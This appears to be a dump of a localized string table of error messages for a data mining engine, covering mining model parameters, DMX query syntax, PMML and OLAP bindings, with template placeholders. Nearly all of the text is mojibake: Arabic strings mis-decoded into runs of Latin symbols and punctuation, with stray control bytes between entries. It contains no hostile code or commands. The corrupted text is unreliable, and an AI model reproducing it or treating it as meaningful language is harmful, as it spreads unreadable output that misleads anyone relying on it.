(FJ) 'D,E9: %F4'! E.2F '-*,'2 J-*HJ 9DI %ld EF 'D-'D'* (.5H5 (FJ) 'D,E9 '%s'.�3**3(( E9DE'* 'D'-*,'2 'DE-//), HoldoutMaxPercent=%{holdoutmaxpercent\}, HoldoutMaxCases=%{holdoutmaxcases\}, AJ #F J*E '3*./'E C'A) 'D-'D'* 9DI #FG' E,EH9) (J'F'* 'D'.*('1. HAJ -'D) '3*E1'1C, DF *-*HJ (FJ) 'D,E9 9DI #J (J'F'* */1J(.�3**3(( E9DE'* 'D'-*,'2 'DE-//), HoldoutMaxPercent=%{holdoutmaxpercent\}, HoldoutMaxCases=%{holdoutmaxcases\}, AJ #F J*E '3*./'E #C+1 EF F5A C'A) 'D-'D'* 9DI #FG' E,EH9) (J'F'* 'D'.*('1.9E.2F '-*,'2 (FJ) 'D,E9: '%s' 'D-,E 'DA9DJ DD'-*,'2: %ld.>7J FEH0, 'D,E9: (F'! 7J %ld 'D.'5 (@ %ld 9DI FEH0, 'D,E9 '%s'.�*E *7(JB E9'D,) 'D9D'B) 'D#3'3J) 9DI 'D3E) '%{attribute/}' 'D.'5) ('DFEH0, '%{modelname/}' (3(( 'D9// 'DC(J1 EF 'D-'D'* AJ 0DC 'D9EH/.DD*-CE AJ *3HJ) 'D3E'* 'DE3*E1). 3J*3(( *9JJF G0G 'DBJE) %DI 1 AJ #F **E *3HJ) C'A) 'D3E'* 'DE3*E1) %DI 'DF7'B'* 'DB'(D) DDEB'1F). HJ$/J *9JJF G0G 'DBJE) %DI 0 %DI %JB'A *4:JD 'D*3HJ) H9F/&0 *9ED 'D.H'12EJ) 9DI 'DBJE 'DE3*E1) 'D(3J7). H*CHF 'DBJE) 'D'A*1'6J) DG0G 'DE9DE) GJ 1.q'DC4A 'D*DB'&J DD-3'3J) EF #,D 'D-5HD 9DI 'D-/ 'D#/FI DD/9E. 3J*3(( *9JJF G0G 'DBJE) %DI 1.0 AJ #F *BHE 'D.H'12EJ) ('DC4A 'D*DB'&J 9F #5:1 BJE) EF'3() .'5) ('D-/ 'D#/FI DD/9E. HJ$/J *9JJF G0G 'DBJE) %DI 0 %DI %JB'A *4:JD 'DC4A 'D*DB'&J H9F/&0 *9ED 'D.H'12EJ) 9DI 'DBJE) 'DA9DJ) 'D.'5) ('D-/ 'D#/FI DD/9E. HJ*E '3*./'E G0G 'DE9DE) AB7 9F/ *9JJF  MINIMUM_SUPPORT %DI 0.0.�DD*-CE AJ .H'12EJ) 'D*3HJ) 'D'A*1'6J) DDH8JA) PredictCaseLikelihood() 9F/ '3*/9'&G' (/HF E9DE'* #H ('DE9DE) 'D'A*1'6J) 'NORMALIZED'. H**E+D 'DBJE 'DE9*E/) AJ 'MARGINAL' H'DISTANCE' H*CHF 'DBJE) 'D'A*1'6J) GJ 'MARGINAL'.ODE J*E 'D9+H1 9DI (FJ) *,EJ9 'DE5/1 '%{structure/}' 'DE-// DDFEH0, '%{model/}'.PD' J-*HJ 'D9EH/ '%{column/}' 'D.'5 (FEH0, 'D*,EJ9 '%{model/}' 9DI #J 9EH/ EA*'-.PJ-*HJ 'D9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}'  9DI E-*HI :J1 5'D-.JDE J*E *-/J/ #J FH9 DD9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}'.M*E *-/J/ FH9 :J1 E9*E/ DD9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}'.K'D*H2J9 9DI 'D9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' :J1 5'D-.PAPJ*E *-/J/ '3*./'E :J1 5'D- DD9EH/ '%{column/}' 'D.'5 (FEH0, 'D*,EJ9 '%{model/}'.OD' J-*HJ 'D9EH/ %{column/} 'D.'5 ((FJ) 'D,E9 '%{structure/}' 9DI #J 9EH/ EA*'-.MGF'C FEH0, *,EJ9 J3EI '%{modelname/}' EH,H/ ('DA9D AJ B'9/) 'D(J'F'* 'D-'DJ).QGF'C FEH0, *,EJ9 0J 'DE91QA '%{modelid/}' EH,H/ ('DA9D AJ B'9/) 'D(J'F'* 'D-'DJ).Y'DE9DE) CLUSTERING_METHOD DDFEH0, '%{modelname/}' :J1 5'D-). 'DBJE 'D5'D-) GJ 1 H2 H3 H4.]'DE9DE) CLUSTER_COUNT DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF CLUSTER_COUNT :J1 3'D().c'DE9DE) MINIMUM_SUPPORT DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MINIMUM_SUPPORT #C(1 EF 5A1.l'DE9DE) MODELLING_CARDINALITY DDFEH0, %{modelname/} :J1 5'D-). J,( #F *CHF  MODELLING_CARDINALITY #C(1 EF 0.u'DE9DE) STOPPING_TOLERANCE DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF STOPPING_TOLERANCE 9//K' 5-J-K' H#C(1 EF 0.h'DE9DE) SAMPLE_SIZE DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF SAMPLE_SIZE *3'HJ 0 #H 100 9DI 'D#BD.s'DE9DE) MAXIMUM_INPUT_ATTRIBUTES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_INPUT_ATTRIBUTES #C(1 EF 0.l'DEC9( '%{cubeid/}' 'DE4'1 %DJG AJ 'D1(7 D(FJ) 'D,E9 OLAP, '%{structure/}' ('D9EH/='%{column/}'), :J1 EH,H/.o'D1(7 'DE5/1 EABH/ D(FJ) 'D,E9 OLAP, '%{structure/}' ('D9EH/='%{column/}', 'D9EH/ 'DE*/'.D='%{nestedcolumn/}').s'D(O9/ '%{cubedimension/}' 'DE4'1 %DJG AJ 'D1(7 D(FJ) 'D,E9 OLAP, '%{structure/}' ('D9EH/='%{column/}'), :J1 EH,H/.:D' *-*HJ (FJ) 'D,E9 '%{structure/}' 9DI 9EH/ EA*'- DD-'D).+*E ('DA9D */1J( (FJ) 'D,E9 '%{structure/}'.PA(DE J*E */1J( (FJ) 'D,E9 '%{structure/}'.DD' JECF *FAJ0 'D9EDJ) (JFE' J*E */1J( FEH0, 'D*,EJ9 '%{structure/}'.=FEH0, 'D,E9 '%{modelname/}' D' J/9E 'D3E'* 'DE3*E1) C%/.'D.JFEH0, 'D,E9 '%{modelname/}' D' J/9E 'D3E'* 'DE3*E1) C9F'51 B'(D) DD*HB9.�'DE9DE) MAXIMUM_INPUT_ATTRIBUTES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_INPUT_ATTRIBUTES 5A1K' 9DI 'D#BD H%d{Max/}' 9DI 'D#C+1.�'DE9DE) MAXIMUM_OUTPUT_ATTRIBUTES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_OUTPUT_ATTRIBUTES 5A1K' 9DI 'D#BD H%d{Max/}' 9DI 'D#C+1.f'DE9DE) SCORE_METHOD DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF SCORE_METHOD 9('1) 9F 1 #H 3 #H 4.f'DE9DE) SPLIT_METHOD DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF SPLIT_METHOD 9('1) 9F 1 #H 2 #H 3.g'DE9DE) MINIMUM_LEAF_CASES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MINIMUM_LEAF_CASES #C(1 EF 0.q'DE9DE) COMPLEXITY_PENALTY DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF COMPLEXITY_PENALTY #C(1 EF 0 H#BD EF 1.cBJE) 'DE9DE) PREDICTION_SMOOTHING DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F **1'H- 'DBJE) (JF 0 H1."%F '%{Name/}' DJ3 '3E 9B/) 5'D-K'.^D' JECF *-EJD 'DFEH0, '%{modelname/}' EF 'DEDA 'DE3*E1. %E' #F 'DEDA *'DA #H (*F3JB :J1 E9*E/.?'D9('1) FROM :J1 5'D-) 9F/ 'D371 %d{Line/}, 'D9EH/ %d{Column/}.S:J1 E3EH- (*9(J1 JBHE (%1,'9 ,/HD AJ 9EDJ) 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.E3EH- AB7 (*9(J1 JBHE (%1,'9 ,/HD AJ 'DH3J7) 'D#HDI EF 'D/'D) Top #H Bottom. -/+ 'D.7# 9F/ 'D371 %d{Line/}, 'D9EH/ %d{Column/}.PA�E3EH- AB7 (*9(J1 +'(* JBHE (%1,'9 1BE EH,( AJ 'DH3J7) 'D+'D+) EF 'D/'D) Top #H Bottom. -/+ 'D.7# 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.J*E 'D9+H1 9DI *9(J1 DMX :J1 E*HB9 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.QE3EH- AB7 (E1,9 9EH/ 1BEJ AJ /'D) 'D*HB9 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.RE3EH- AB7 (9EH/ *E A5DG AJ /'D) *HB9 F7'B 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.U:J1 E3EH- (/H'D *HB9 F8'E 'DE,EH9) AJ 'D3J'B 9F/ 'D371 %d{Line/}, 'D9EH/ %d{Column/}.'3*9D'E DMX :J1 E/9HE.�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI FEH0, ,E9 'D(J'F'* 'DEO4'1 %DJG '%{strName/}' #H #F 'DC'&F :J1 EH,H/.-DE **E E9'D,) 'DFEH0, 'DE4'1 %DJG '%{Name/}'.TDE J*E 'D9+H1 9DI 9EH/ DMX 'DE-// AJ 'D3J'B 9F/ 'D371 %d{Line/}, 'D9EH/ %d{Column/}.M:J1 E3EH- (9EH/ DMX 'DE-// AJ 'D3J'B 9F/ 'D371 %d{Line/}, 'D9EH/ %d{Column/}.n:J1 E3EH- (*9(J1 'DFB'7 AJ 'D3J'B 9F/ 'D371 %d{Line/}, 'D9EH/ %d{Column/}. '3*./E SELECT 'DA19J) (/D'K EF 0DC.�JECF 'D%4'1) AB7 %DI 9EH/ B'(D DD*HB9 (#H 0H 5D) (9EH/ B'(D DD*HB9) EF FEH0, 'D,E9 'DEH,H/ AJ 'D3J'B 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.ND' J*E /9E E1,9 9EH/ 'D,/HD AJ 'D3J'B 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.MEH'5A) 'DF7'B #H 7HD 'D*HB9 :J1 5'D- 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.G*E* E5'/A) *9(J1 DMX :J1 E91HA 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.A:J1 E3EH- (@ * AJ 'D3J'B 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.I:J1 E3EH- (*9(J1 EF7BJ AJ 'D3J'B 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.<*E *HB9 *9(J1 EF7BJ 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.ZD' JECF '3*./'E *9(J1 *,EJ9 E9 *9(J1'* :J1 E,EN9) 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.�J-*HJ UNION 9DI *9(J1'* SELECT A19J) :J1 E*H'AB) 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}. HJ,( 9DJG' #F *-*HJ 9DI FA3 9// 'D#9E/) 'DEH,H/) AJ B'&E) SELECT.JJ8G1 E1,9 9EH/ :J1 5'D- AJ 'D3J'B 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.\D' JECF '3*./'E 'D/'D) '%{FunctionName/}' AJ 'D3J'B 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/}.hJ*E '3*./'E 9// :J1 5-J- EF 'DH3J7'* AJ 'D/'D) %{FunctionName/} 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/}.nJ,( #F *CHF 'DH3J7) 'D+'FJ) AJ 'D/'D) Top #H Bottom 9EH/K'. -/+ 'D.7# 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}._J*E '3*./'E H3J7) :J1 5'D-) AJ 'D/'D) %{FunctionName/} 9DI 'D371 %d{Line/} 'D9EH/ %d{Column/}.=D' J*E /9E *HB9 F8'E 'DE,EH9) AJ 'D.H'12EJ) 'D,'1J '3*./'EG'.7D' J*E /9E *HB9 'D*3D3D AJ 'D.H'12EJ) 'D,'1J '3*./'EG'.�'DE9DE) MAXIMUM_INPUT_ATTRIBUTES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_INPUT_ATTRIBUTES 5A1K' 9DI 'D#BD H%d{Max/}' 9DI 'D#C+1.�'DE9DE) MAXIMUM_OUTPUT_ATTRIBUTES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_OUTPUT_ATTRIBUTES 5A1K' 9DI 'D#BD H%d{Max/}' 9DI 'D#C+1.OD' *BHE .H'12EJ) Na�ve Bayes (/9E 3E) %.1', E3*E1) 9DI 'DFEH0, '%{modelname/}'.�*E 'C*4'A #9E/) DJ3* (#9E/) EA*'- E*9//) AJ ,/HD 'D*3D3D AJ 'DFEH0, '%{modelname/}'. HD' *B(D .H'12EJ) *CHJF F8'E E,EH9'* 'D*3D3D D@ Microsoft 3HI ,/'HD 'D*3D3D 'D*J *-*HJ 9DI 9EH/ H'-/ EF :J1 #9E/) 'DEA*'-.�*E 'C*4'A #9E/) EA*'- DD*3D3D E*9//) AJ ,/HD 'D*3D3D AJ 'DFEH0, '%{modelname/}'. HD' *B(D .H'12EJ) *CHJF E,EH9'* 'D*3D3D D@ Microsoft 3HI 'D,/'HD 'D*J *-*HJ 9DI 9EH/ EA*'- *3D3D H'-/.BD' JECF *-EJD FEH0, 'D,E9 '%{modelname/}'. 9D'E) 'D.7#: '%{tag/}'.MD' *BHE 'D.H'12EJ) (/9E 'D#/'! 'DH8JAJ 'DE7DH( EF BP(D 'DFEH0, %{modelname/}.@%5/'1 :J1 5-J- #+F'! *-EJD 'DE-*HJ DFEH0, 'D,E9 '%{modelname/}'.ZD' JECF 'D9+H1 9DI C'&F OLAP 'DE5/1 DD9EH/ '%{columnname/}' 'D.'5 ('DC'&F '%{modelname/}'.,*F3JB 'DF*J,) 'DE7DH( :J1 5'D- D'3*9D'E DMX.O*E 'D*2HJ/ (E9DE) .H'12EJ) :J1 E91HA) %{strParamName/} DDFEH0, %{modelname/}.n'DE9DE) MINIMUM_SUPPORT DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MINIMUM_SUPPORT #C(1 EF 0 #H E3'HJ) DG.a'DE9DE) MAXIMUM_SUPPORT DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_SUPPORT #C(1 EF 0.n'DE9DE) MINIMUM_ITEMSET_SIZE DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F **1'H- MINIMUM_ITEMSET_SIZE (JF 1 H500.n'DE9DE) MAXIMUM_ITEMSET_SIZE DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F **1'H- MAXIMUM_ITEMSET_SIZE (JF 0 H500.z'DE9DE) MAXIMUM_ITEMSET_COUNT DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_ITEMSET_COUNT #C(1 EF 1 #H E3'HJ) DG.j'DE9DE) MINIMUM_PROBABILITY DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F **1'H- MINIMUM_PROBABILITY (JF 0 H1.XJ,( #F *-*HJ 'D9('1) WHERE AJ 'D(J'F SELECT ... FROM m.SAMPLE_CASES 9DI 'D/'D) IsInNode.I'D'3*91'6 (SELECT ... FROM model.CASES) :J1 EOENC@QNF DDFEH0, '%{Name/}'.�'DE9DE) MAXIMUM_STATES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F **1'H- MAXIMUM_STATES (JF %d{Min/}' H%d{Max/}' #H 0 D9/E *-/J/ -/.CD' J*E /9E *HB9 'D*3D3D 'D2EFJ EF BP(D 'D.H'12EJ) 'D,'1J '3*./'EG'.1D' J*E /9E FH9 SELECT DFEH0, '%{Name/}' #H (FJ*G.<E9DE) ,E9 'D(J'F'* '%{Param/}' :J1 5'D-) DDFEH0, '%{Name/}'.>D' J*E *9JJF C*'DH, D,D3) 'D9ED G0G. HD' JECF *FAJ0 'D'3*9D'E.FA4D *-DJD PMML 9DI 'D371 '%{Line/}' 'D9EH/ %{Column/}: %{strMessage/}1D' JECF *-DJD FEH0, 'D,E9 DH,H/ PMML 3J! 'D*CHJF.iJ*E %F4'! 'D(FJ) '%{name/}' EF FEH0, PMML. HD' JECF *7(JB .J'1 'DE9'D,) G0' 9DI 'D(OFI 'DE3*F/) %DI PMML.bD' J*7'(B FH9 'D(J'F'* 'D.'5 (9EH/ (FJ) 'D,E9 '%{structure/}.%{dmscolumn/}' E9 FH9 'D1(7 'D.'5 (G.�J,( #F JCHF FH9 'D(J'F'* 'D.'5 (9EH/ (FJ) 'D,E9 %{structure/}.%{dmscolumn/} 1BEK' F81K' D#FG J-*HJ 9DI FH9 E-*HI E3*E1 (*E *9JJF 'DE-*HI 9DI E3*E1 #H HB* 'DEA'*J- #H *3D3D 'DEA'*J-).}AJ FEH0, 'D,E9 '%{modelname/}' J,( #F JCHF 'D9EH/ '%{colname/}' EF FH9 E3*E1 F81K' D#FG *E *9JJF 9D'E) FE0,) REGRESSOR 9DJG.:D' *BHE 'D.H'12EJ) (/9E 'D9EH/JF KEY TIME #H KEY SEQUENCE.o*7'D( 'D.H'12EJ) (H,H/ 3E) B'(D) DD*HB9 H'-/) 9DI 'D#BD. DE J*E 'D9+H1 9DI 4J! AJ FEH0, 'D,E9 '%{modelname/}'.}JECF AB7 '3*./'E 9EH/ ,/HD E*/'.D E9 9EH/ KEY SEQUENCE AJ /'D) *HB9 *3D3D. -/+ 'D.7# 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.�JECF AB7 '3*./'E 9EH/ 'DE3*HI 'D9DHJ #H 9EH/ ,/HD E*/'.D E9 9EH/ KEY TIME AJ /'D) *HB9 'D*3D3D 'D2EFJ. 1',9 'D371 %d{Line/} AJ 'D9EH/ %d{Column/}.�'DE9DE) PERIODICITY_HINT DFEH0, 'D,E9 '%{modelname/}' :J1 5'D-). J,( #F *CHF PERIODICITY_HINT 9('1) 9F {n1, n2, n3...} (-J+ JCHF n #C(1 EF 07DE J*E *-/J/ #J) -'D'* AJ FEH0, 'D,E9 '%{modelname/}'.KJ,( #F *CHF E,EH9) -'D'* 'D*3D3D 'D2EFJ E*('9/) 9F/E' *-*HJ 9DI -'D) H'-/).PA_J-*HJ 'D9EH/ '%{column/}' 'D.'5 ('DFEH0, '%{Name/}' 9DI FH9 E-*HI :J1 E/9HE EF BP(D 'D.H'12EJ).nJ-*HJ 'D9EH/ %{column/} 'D.'5 ('DFEH0, %{Name/} 9DI 9D'E) 'DFE0,) '%{flag/}' :J1 'DE9*E/) EF BP(D 'D.H'12EJ).EE91QA F8'E 'DE,EH9) 'DE-// .'1, 'DF7'B DFEH0, 'D,E9 '%{modelname/}'.gD' J*E /9E DISTINCT AJ FH9 'D(J'F SELECT 'D0J *E 'D9+H1 9DJG 9DI 'D371 %d{Line/} AJ 'D9EH/ %d{Column/}.x'DE9DE) OPTMIZED_PREDICTION_COUNT DDFEH0, '%{modelname/}' :J1 E9*E/). J,( #F **1'H- OPTMIZED_PREDICTION_COUNT (JF 0 H50.W*8G1 9('1) SET :J1 'DE9*E/) AJ 'D(J'F UPDATE 9DI 'D371 %d{Line/} AJ 'D9EH/ %d{Column/}.+PREDICTION JOIN :J1 E/9HE DDFEH0, %{Name/}.rJ*E 'D3E'- AB7 (9EH/ ,/HD E*/'.D E9 9EH/ KEY ('D/'.D AJ /'D) *HB9 'B*1'F. 1',9 'D371 %d{Line/} 'D9EH/ %d{Column/}.OD' JECF '3*./'E '*5'D'* E.55) CE' GJ E-//) AJ 9('1'* OPENROWSET 9DI G0' 'D.'/E.QD' J*E *CHJF G0' 'D.'/E D/9E 'DEHA1 '%{Provider/}' 'DE3*./E AJ 9('1) OPENROWSET. }'DE9DE) MAXIMUM_STATES DDFEH0, '%{modelname/}' :J1 E/9HE). J,( #F *CHF MAXIMUM_STATES ('DBJE) 0 #H 2 #H %d{Max/}' 9DI 'D#C+1.'-/+ .7# (JFE' C'F J*E %F4'! C'&F /'.DJ.['DE9DE) COMPLEXITY_PENALTY  DFEH0, 'D,E9 '%{modelname/}' :J1 5'D-). J,( #F *CHF #BD EF 1.Z'DE9DE) MIN_LEAF_CASES  DFEH0, 'D,E9 '%{modelname/}' :J1 5'D-). HD' JECF #F *CHF #BD EF 1.=D' JB(D FEH0, 'D,E9 '%{modelname/}' %D' 3E'* E3*E1) C%/.'D.�*H,/ 3E) 9B/) *3D3D :J1 EFA5D) AJ 'DFEH0, '%{modelname/}'. H*7'D( .H'12EJ) *CHJF F8'E E,EH9'* 'D*3D3D D@ Microsoft (G0G 'D3E) D*CHF EF 'DFH9 "EFA5D".vJECF AB7 *(/JD (FJ) 'D,E9 'DE3*F/) %DI PMML '%{name/}' D%6'A) 1H'(7 DD(J'F'*. D' J*E /9E #J .J'1'* #.1I D*(/JD 'D(FJ).VD' JECF E9'D,) (FJ) 'D,E9 'DE3*F/) %DI PMML #H 'DFEH0, 'DE3EI '%{name/}' (1H'(7 .'1,J)�*E ('DA9D */1J( FEH0, 'D,E9 %{name/} HGH D' J/9E 'D*-/J+'* 'D*2'J/J). B(D '3*./'E 9('1) INSERT INTO '3*./E DELETE FROM <object>.TD' J*7'(B 9// 'D#9E/) 'DE-//) E9 9// #9E/) FEH0, 'D,E9 #H #9E/) E,EH9) 5AHA 'D%/.'D.�'DE9DE) HISTORIC_MODEL_COUNT DFEH0, 'D,E9 '%{modelname/}' :J1 5'D-). J,( #F D' JCHF 'D9// 3'D(K' HD' JECF #F JCHF #C+1 EF 100. '3*./E 0 9F/ 9/E %F4'! #J FEH0, E-AH8 E3(B@K'.�'DE9DE) HISTORIC_MODEL_GAP DFEH0, 'D,E9 '%{modelname/}' :J1 5'D-). J,( #F *CHF 'DA,H) (JF FE'0, 'D,E9 #C(1 EF 0. D' JCHF DBJE) 'DE9DE) #J *#+J1 %0' C'F* HISTORIC_MODEL_COUNT *3'HJ 0.V'D7H'(9 'D2EFJ) 'D*J DE **E E2'EF*G' *(/# ('D3D3D) '%{column/}' 'D.'5) (FEH0, 'D,E9, %{modelname/}. HJ,( #F JF*GJ 'D*3D3D 'D2EFJ (#CEDG AJ FA3 9D'E) 'DHB* HD' JECF #F *-*HJ 9DI FB'7 (J'F'* EABH/) (4CD 94H'&J. -J+ %F *9JJF 'DE9DE) MISSING_VALUE_SUBSTITUTION %DI 'D3'(B #H %DI +'(* 1BEJ 3J$/J *DB'&JK' %DI *5-J- FB'7 (J'F'* EABH/) B/1 'D%EC'F.7JECF 'D%4'1) %DI 9EH/ H'-/ AB7 AJ (J'F SELECT DISTINCT.�DE J*E 'D9+H1 9DI 9EH/ 9B/) *3D3D AJ 'DFEH0, '%{modelname/}'. H*7'D( .H'12EJ) *CHJF F8'E E,EH9'* 'D*3D3D D@ Microsoft (H,H/ ,/HD E*/'.D J-*HJ 9DI EA*'- *3D3D H#9E/) 9B/) 'D*3D3D.@%F 'D.H'12EJ) 'D.'5) ('DFEH0, '%{modelname/}' D' */9E 'D'3*91'6.z'DE9DE) HOLDOUT_PERCENTAGE DFEH0, 'D,E9 '%{modelname/}' :J1 5'D-). J,( #F *CHF HOLDOUT_PERCENTAGE #C(1 EF 0 H#BD EF 100.�'DE9DE) MAXIMUM_CLUSTER_COUNT 3'D() AJ FEH0, *CHJF E,EH9'* 'D*3D3D D@ Microsoft '%{modelname/}'. J,( #F *CHF MAXIMUM_CLUSTER_COUNT %E' EH,() #H 0.�'DE9DE) MINIMUM_SUPPORT 3'D() AJ FEH0, *CHJF E,EH9'* 'D*3D3D D@ Microsoft '%{modelname/}'. J,( #F *CHF MINIMUM_SUPPORT %E' EH,() #H 0.bBJE) 'DE9DE) MAXIMUM_STATES :J1 5'D-) AJ FEH0, *CHJF E,EH9'* 'D*3D3D D@ Microsoft '%{modelname/}'.kBJE) 'DE9DE) MAXIMUM_SEQUENCE_STATES :J1 5'D-) AJ FEH0, *CHJF E,EH9'* 'D*3D3D D@ Microsoft '%{modelname/}'.�%F FH9 'D(J'F'* 'D.'5 (1(7 EA*'- .'1,J (ordinal=%{iOrdinal/}) DD,/HD 'DE*/'.D '%{tablecolumn/}' D' J*7'(B E9 FH9 'D(J'F'* 'D.'5 (1(7 'DEA*'- 'DE*7'(B DEA*'- 'D-'D) '%{casekeycolumn/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}'.PA�JECF '3*./'E 9('1) INSERT INTO AB7 DFE'0, 'D,E9 'D*J D' *-*HJ 9DI #J EH'B9 *'(9) AJ FA3 (FJ) 'D,E9. -'HD '3*./'E (FJ) 'D,E9 INSERT INTO (/D'K EF 0DCD' J*E /9E E1,9 9EH/ 'DEA*'- 'DE3*E1 (KEY TIME, KEY SEQUENCE) AJ 9('1) SELECT DISTINCT 9DI 'D371 %d{Line/}, 'D9EH/ %d{Column/}.�*E 7D( *HB9 *3D3D 2EFJ (*'1J. (/! AJ 'DE'6J #(9/ EE' *3*7J9 E9G 'DFE'0, 'D/'.DJ) DFEH0, 'D,E9 %{modelname/} 'DE-//) AJ 'DE9DE*JF HISTORIC_MODEL_GAP HHISTORIC_MODEL_COUNT %,1'! 'DE9'D,).�D' JECF E9'D,) 'DC'&F '%{name/}' EF .D'D 'D1H'(7 'DE-//) (B/ **:J1 (FJ) 'DC'&F'* 'D/'.DJ)). HJECF '3*./'E (J'F ALTER D*:JJ1 'D1H'(7 B(D 'DE9'D,).L*E *91JA (FJ) *3D3D 2EFJ (/HF 9EH/ HB* 'DEA*'-. HJ,( *91JA 9EH/ HB* 'DEA*'-.�J-*HJ 9EH/ HB* 'DEA*'- DD*3D3D 'D2EFJ 9DI FH9 (J'F'* :J1 5'D-. J,( #F J-*HJ 9EH/ HB* 'DEA*'- 9DI FH9 (J'F'* 1BEJ #H *'1J./HB*/7'(9 2EFJ.RJ,( *9JJF DataSourceID D(FJ) ,E9 '%{name/}' OLAP %DI B'9/) 'D(J'F'* 'D-'DJ) ('.').D' J*E /9E #9E/) KEY SEQUENCE 9DI E3*HI 'D-'D). J-*HJ 'D9EH/ '%{column/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' 9DI E-*HI :J1 5'D-.�D' J-*HJ 'DC'&F '%{model/}' 9DI #J) -'D'*. J9/ E.2F 'D'3*91'6 A'1:K' %E' D#FG *E *9JJF B'&E) *9/'/ ProcessType %DI ProcessClearStructureOnly, #H D#F 9('1) DMX DELETE E3-* 'DE.2F.�D' JBHE 'D9EH/ '%{column/}' (/9E 9('1) DMX, INSERT INTO <model>.COLUMN_VALUES. 'D9EH/'F DISCRETE #H DISCRETIZED AB7 GE' 'DD0'F J/9E'F G0G 'D9EDJ). cD' *-*HJ 'D(FJ) '%{name/}' 9DI 1H'(7 %DI 'D(J'F'* (#H *-*HJ 9DI 1H'(7 :J1 5'D-)) HD' JECF E9'D,*G'.ZAJ 'D(FJ) '%{parentStruct/}' D' J-*HJ 'D9EH/ '%{name/}' 9DI 1H'(7 5'D-) HD' JECF E9'D,*G.N*-*HJ (FJ) 'D,E9 '%{structure/}' 9DI #9E/) EA*'- E*9//) EH,H/) 9DI E3*HI H'-/.�D' J*7'(B E91QA 71JB) 916 E5/1 'D(J'F'* '%{datasourceview/}' 'D.'5 ((FJ) 'D,E9 '%{name/}' E9 71JB) 916 E5/1 (J'F'* EH,H/) AJ B'9/) 'D(J'F'*.NJECF '3*./'E 9('1) DISCRETIZED AB7 DD#9E/) 'D1BEJ). [Column='%{ColumnName/}'].['DE9DE) CLUSTER_SEED :J1 5'D-) DDFEH0, '%{modelname/}'. J,( #F *CHF CLUSTER_SEED :J1 3'D().PA,D' JECF 'D9+H1 9DI 'DEDA 'DE3*E1 '%{name/}'.H%E' #FG B/ -/+ .7# (JFE' C'F* **E B1'!) 'D-'D'* #H #FG *E %D:'! 'D9EDJ).m.7# INSERT INTO: D' J1*(7 9EH/ 'DEA*'- DD,/HD 'DE*/'.D '[%{table/}].[%{column/}]' (9EH/ E,EH9) 5AHA 'DE/.D'*.�'DE9DE) MAXIMUM_BUCKETS_FOR_CONTINUOUS_SPLIT :J1 5'D-) DDFEH0, '%{modelname/}'. J,( #F *CHF MAXIMUM_BUCKETS_FOR_CONTINUOUS_SPLIT #C(1 EF 0 H#BD EF %d{Max/}'.�-/+ .7# (JFE' C'F* **E E9'D,) (O9/ ,E9 'D(J'F'* '%{dimension/}' E9 FEH0, 'D,E9 'DE5/1 '%{miningmodel/}'. B'E* .H'12EJ) 'DFEH0, 'DE5/1 (%1,'9 E9DHE'* E-*HI (O9/ ,E9 (J'F'* :J1 5'D-).�'DE9DE) MAXIMUM_INPUT_ATTRIBUTES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_INPUT_ATTRIBUTES 5A1K' 9DI 'D#BD H%d{Max/}' 9DI 'D#C+1.�'DE9DE) MAXIMUM_OUTPUT_ATTRIBUTES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_OUTPUT_ATTRIBUTES 5A1K' 9DI 'D#BD H%d{Max/}' 9DI 'D#C+1.{'DE9DE) MAXIMUM_STATES DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF MAXIMUM_STATES ('DBJE) 0 #H **1'H- (JF 2 H%d{Max/}'._'DE9DE) SAMPLE_SIZE DDFEH0, 